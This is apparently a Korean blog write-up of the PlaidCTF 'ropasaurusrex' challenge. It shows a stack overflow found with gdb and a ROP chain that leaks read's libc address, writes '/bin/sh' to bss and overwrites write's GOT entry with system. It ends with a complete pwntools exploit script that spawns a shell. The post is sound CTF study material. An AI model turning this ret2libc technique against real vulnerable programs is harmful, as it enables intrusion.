보안/시스템 해킹

[PlaidCTF] ropasaurusrex 문제 풀이

Lluvia7319 2023. 10. 12. 22:29

ROP를 공부 할때 풀었던 문제인 ropasaurusrex의 풀이 과정을 정리 해볼까 한다.

 

우선 해당 문제를 풀기 위해서는 다음과 같은 지식을 보유 하고있어야 한다.

 

PLT, GOT, GOT overwrite, RTL-chaaining

 

그럼 이제 풀이 해보겠다.

 

우선 ropasaurusrex에 걸려있는 보호기법을 checksec으로 확인해보자.

다음과 같이 NX bit가 걸려있어 셸코드 사용이 불가능하고 ASLR이 걸려있다는 전제하에 문제 풀이를 진행할 것이다.

 

우선 바이너리 파일을 실행하보면 다음과 같이 값을 입력받고 WIN이라는 문구를 출력하고 끝난다.

gdb로 바이너리 파일을 열어보면 main함수의 심볼이 존재하지 않기 때문에 main함수를 찾아내는 과정이 필요하다.

ida를 이용하면 쉽게 main의 구조를 찾을 수 있지만 해당 방법은 사용하지 않았다.

 

존재하는 심볼중에 __libc_start_main@plt를 발견했고

해당 함수를 따라가다 보면 __libc_start_call_main함수로 넘어가게 된다.

이후 해당 함수를 계속 진행하게 되면 다음과 같이 main함수를 찾아낼 수 있다.

main에서는 0x80483f4에 존재하는 함수를 하나 호출 한 뒤 write함수로 "WIN"을 출력한뒤 마무리 된다.

0x80483f4에 위치한 함수는 스택에 0x98만큼의 공간을 할당하

ebp-0x88에 0x100만큼 입력을 받는 read함수를 실행하고 마무리 된다.

 

위와 같은 상황에서 셸을 실행시키는 익스플로잇을 진행 흐름은 다음과 같다.

1. write함수를 이용하여 read함수의 실제 주소를 획득.

2. bss영역에 '/bin/sh'문자열을 삽입.

3.read함수를 이용하여 write함수의 GOT를 system의 주소로 overwrite한다.

4. write함수의 호출을 통해 system함수를 호출한다.

 

우선 read함수와 write함수의 PLT와 GOT를 구해보자.

write함수나 read함수나 인자를 3개를 사용하기 때문에 pop;pop;pop;ret가젯이 필요하다.

해당 가젯을 바이너리 파일에서 구해주도록 하자.

위의 pop esi; pop edi; pop ebp; ret는 연속적이므로 사용이 가능하다.

(32bit 바이너리 이므로 인자전달에 스택을 사용한다.)

 

준비물을 거의 다 구했다. 이제 나머지 한개인 system의 주소를 구하는 것인데

system의 주소는 offset 계산을 통하여 구해야 한다.

이때 libc의 base를 구하는 것 보다 system과 이미 구한 read사이의 offset을 구하는 것이 더 쉽기 때문에

system의 구조는 read_addr - (read_offset - system_offset)으로 구하도록 한다.

맞다, bss영역의 주소는 다음과 같다.

이후 얻은 정보들을 토대로 익스플로잇 코드를 작성해보자.

from pwn import *

p = process('./ropasaurusrex')
read_plt = 0x0804832c
read_got = 0x0804961c
write_plt = 0x0804830c
write_got = 0x08049614
pppr = 0x080484b6
bss = 0x08049628
system_offset = 0xc1f70

######## step 1 ########

payload = b'\x90' * 0x8c
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4) 		#read함수의 실제주소 얻기

######## step 2 ########

payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(8) 	#BSS영역에 /bin/sh 삽입
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(write_got)
payload += p32(4) 	#read의 GOT를 system의 주소로 overwrite
payload += p32(write_plt)
payload += b'\x90' * 4
payload += p32(bss) 	#system('/bin/sh/x00’)

p.sendline(payload)

read_addr = u32(p.recv(4))
system_addr = read_addr - system_offset
p.send('/bin/sh\x00')
p.send(p32(system_addr))

p.interactive()

해당 익스플로잇 코드를 실행하면 다음과 같이 무사히 셸을 획득 할 수 있음을 볼 수 있다.

 

긴글 읽어 주셔서 감사합니다.